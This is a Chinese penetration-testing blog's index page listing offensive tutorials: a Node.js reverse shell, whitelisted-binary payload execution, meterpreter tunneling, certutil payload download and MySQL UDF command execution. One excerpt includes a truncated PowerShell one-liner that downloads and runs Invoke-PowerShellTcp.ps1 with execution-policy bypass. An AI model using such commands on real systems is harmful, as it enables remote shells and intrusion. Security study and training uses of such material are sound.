渗透周边

搜索当前分类

搜索

第七十四课：基于白名单regsvcs.exe执行payload第四季

lsh4ck 6年前 148 0

Node.js反向Shell

lsh4ck 6年前 347 0

如下的Javascript就是一个Node.js的反向连接shell 这个payload将会生成一个/bin/sh的shell，创建一个TCP连接到攻击者的服务器，并且在通信数据流中绑定shell命令。 为了优雅的执行payload，我们还需要一些小技巧，我们将反向连接shell...

老外的一次较完整和典型的内网渗透

lsh4ck 6年前 762 0

靶机中心 16

lsh4ck 6年前 4,097 33

2008R2数据中心版 x64 基础web环境 IIS 7.5 + MSSQL 2008R2 Apache/2.2.15 + Mysql 5.5.61 + php-5.4.19 jdk1.8.0_171 + apache-tomcat-7.0.92 默认web目录 TOMCAT ...

NMAP扫描指南脑图

lsh4ck 6年前 830 0

第一百二十三课：利用ssh隧道将公网meterpreter弹至本地的msf中

lsh4ck 6年前 742 0

第三十八课：certutil一句话下载payload

lsh4ck 6年前 224 0

Get shell By Powershell

lsh4ck 6年前 272 0

Invoke-PowerShellTcp.ps1 powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/s...

第二十三课：基于MSF发现内网存活主机第一季

lsh4ck 6年前 485 0

7、Mysql root权限下的注入利用技巧( 二 ) 7

lsh4ck 6年前 274 0

前言须知 在上半部分,我们详细说明了mysql在root权限下如何读写文件,开启外连,这次我们就来简单说明如何通过mysql的log功能写shell以及如何利用udf执行系统命令 日志写,利用核心 利用mysql的general log功能来写shell,其实,核心很简单,当你把...